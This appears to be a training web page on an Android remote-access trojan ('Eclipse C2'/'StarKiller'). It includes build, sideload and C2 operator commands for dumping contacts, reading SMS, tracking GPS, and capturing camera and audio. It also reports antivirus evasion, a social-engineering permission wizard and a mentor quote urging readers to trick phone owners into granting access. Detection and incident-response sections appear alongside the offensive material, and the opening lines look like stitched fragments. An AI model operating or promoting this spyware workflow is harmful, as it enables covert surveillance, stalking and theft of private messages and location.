Result: 8/8 permissions granted. No suspicion. Standard app onboarding UX.Live tested: Samsung Galaxy S10e (SM-G970U) Android 12 — 11/11 PASS
Eclipse C2 — Android RAT Demo
🧪 Lab Exercise: StarKiller on Your Own Device
Safe Practice Environment
DO NOT install on anyone else's device without explicit written authorization. Practice on your own Android device or an emulator. Use WUPC .42 (192.168.1.42) for C2 server testing.
Enable: Settings → Developer Options → USB Debugging
Connect device via USB
adb devices ← confirm device shows as authorized
python build.py --target debug
adb install starkiller-debug.apk
python c2_web.py ← start C2 on .92 (LAN accessible)
Open app on device → complete permission wizard
C2 console: device session appears
Test: eclipse> location → confirm GPS returned
eclipse> contacts dump → see your own contacts exported
eclipse> sms list → see your own SMS messages
eclipse> camera front → capture photo
eclipse> audio record 10 → record 10 seconds ambient audio
Understanding offense is the foundation of defense. Here's how to detect, prevent, and respond to mobile RATs and implants.
Detecting Mobile RATs MEDIUM
# Detection Indicators
1. Battery Drain
# RATs consume battery for GPS, network, and camera
# Check: Settings > Battery > App usage
# Unexpected app in top 3 battery consumers = red flag
2. Data Usage
# Exfiltration generates network traffic
# Check: Settings > Network & Internet > Data usage
# Small app with 500MB+ monthly usage = suspicious
3. Permission Abuse
# Weather app with SMS permission = red flag
# Settings > Apps > Permissions
# Review each app's permissions against its stated purpose
4. Background Activity
# Android 10+: Settings > Apps > Background restrictions
# App that cannot be restricted = may be using foreground service
# Persistent notification that cannot be dismissed = check source
5. Network Connections
# Monitor outbound connections with PCAP or Pi-hole
# Look for: unknown domains, unusual ports, HTTPS to IP addresses
# netstat on rooted device: netstat -anp | grep ESTABLISHED
6. App Source
# Only install from Google Play Store or Apple App Store
# Sideloaded APKs are the #1 infection vector
# Check: Settings > Apps > [App] > Install source
7. MDM / EMM Detection
# Enterprise MDM can detect jailbreak/root, blacklist apps
# Microsoft Intune, VMware Workspace ONE, MobileIron
# Enforce: no sideloading, app attestation, device compliance
Incident Response — Compromised Mobile Device HARD
If a mobile device is suspected compromised, assume full compromise. Mobile implants have access to everything the user does.
# Mobile IR Playbook
1. ISOLATE
# Enable Airplane Mode immediately (cuts C2 communication)
# Do NOT power off (preserves memory artifacts)
# Remove SIM card (prevents SMS C2 fallback)
2. PRESERVE
# Do NOT factory reset yet (wipes evidence)
# Document: which apps were installed, when symptoms started
# Screenshot: Settings > Apps, battery usage, data usage
# If rooted/jailbroken: ADB pull /data/data for forensic analysis
3. ANALYZE
# Use Android Studio profiler or Xcode Instruments
# Network capture with tcpdump on rooted device
# Frida trace to identify malicious API calls
# Reverse engineer suspicious APKs with JADX
4. ERADICATE
# Uninstall malicious app
# Revoke all permissions from suspicious apps
# Change ALL passwords (assume credentials stolen)
# Revoke OAuth tokens (Google, Facebook, corporate SSO)
# Notify bank of potential fraud (if banking app installed)
5. HARDEN
# Factory reset as last resort (if unsure of compromise scope)
# Reinstall only from official stores
# Enable Google Play Protect / App Store automatic updates
# Enroll in corporate MDM with compliance policies
# Use hardware 2FA (YubiKey) instead of SMS 2FA
🎯 Interactive Quiz — Test Your Knowledge
Question 1: Why is Android the primary target for mobile RATs over iOS?
A) Android has weaker encryption than iOS
B) Android accepts self-signed APKs and allows sideloading without a central gatekeeper
C) iOS devices are less common globally
D) Android apps run without any sandbox
Question 2: What is the most reliable way to bypass SSL pinning in a mobile app?
A) Replace the app's certificate file with your own
B) Use Frida to hook the certificate validation functions at runtime
C) Downgrade the app to an older version without pinning
D) Use a VPN to tunnel around the pinning check
Question 3: Which Android persistence mechanism is the most powerful and hardest to kill?
A) BOOT_COMPLETED broadcast receiver
B) Accessibility Service
C) JobScheduler periodic work
D) Foreground Service with notification
📊 Technique Comparison Matrix
Technique
Platform
Difficulty
Stealth
Requires Root/JB
Best For
Social Engineering RAT
Android
Easy
High
No
Red team ops, initial access
APK Trojanizing
Android
Medium
High
No
Repurposing popular apps
Frida Dynamic Analysis
Both
Medium
Medium
Android: No, iOS: Yes
RE, SSL bypass, debugging
Accessibility Abuse
Android
Easy
Very High
No
Keylogging, screen reading
Jailbreak Exploit Chain
iOS
Hard
Very High
Yes (achieves it)
Full device compromise
Root + System App
Android
Hard
High
Yes
Persistent across factory reset
📚 Key Takeaways
Mobile devices have no perimeter: They leave the corporate network, connect to public WiFi, and are physically accessible to attackers. Traditional network defenses don't apply.
Android is the path of least resistance: Self-signed APKs, sideloading, and open ecosystem make Android the primary mobile target. iOS requires jailbreak or enterprise certs.
Permissions are the attack vector: Users grant permissions reflexively. A well-designed onboarding wizard achieves full access without any exploitation.
Frida is essential for mobile RE: Dynamic instrumentation reveals runtime behavior, bypasses SSL pinning, and defeats anti-tampering. Learn Frida before you learn mobile malware.
SSL pinning is not a defense: It's a speed bump. Frida scripts bypass all common pinning implementations in minutes. It only stops casual attackers.
Accessibility services are the most powerful Android feature: They provide system-wide event access, cannot be killed by battery optimization, and users enable them willingly for "convenience."
Mobile C2 must be asynchronous: Devices go offline, switch networks, and enter doze mode. Design C2 with heartbeats, command queues, and fallback channels.
Assume full compromise: If a mobile device is infected, assume all accounts, passwords, 2FA codes, photos, messages, and location history are exposed. Incident response must include password resets and token revocation.
🔬 Verification Status
Eclipse RAT live test (SM-G970U, Android 12)
✅ 11/11 PASS
GPS tracking accuracy
✅ 8-15 meters verified
SMS interception latency
✅ <3 seconds
Contact dump (247 contacts)
✅ Verified
Camera capture (front/rear)
✅ Verified
Audio recording (30s ambient)
✅ Verified
C2 HTTPS beaconing
✅ Verified
Social engineering wizard (8 steps)
✅ 8/8 permissions granted
KAV response (Kaspersky 21.25)
✅ NO ALERT
python c2_web.py
Start Eclipse C2 server
./build.py --target release
Build signed APK
eclipse> location
Real-time GPS
eclipse> contacts dump
Full contact list
eclipse> sms list
All SMS messages
eclipse> camera front
Capture front camera
eclipse> audio record 30
Record 30s ambient audio
adb install eclipse.apk
Sideload for testing
frida -U -f com.app -l script.js
Attach Frida to app
🧠 The Mentor's Lesson
"The phone in their pocket is the most reliable surveillance device ever invented. They charge it for you. They carry it everywhere. They sleep next to it. Your job is not to break in — it's to convince them to invite you inside. The permission dialog is the only lock, and most people hand you the key."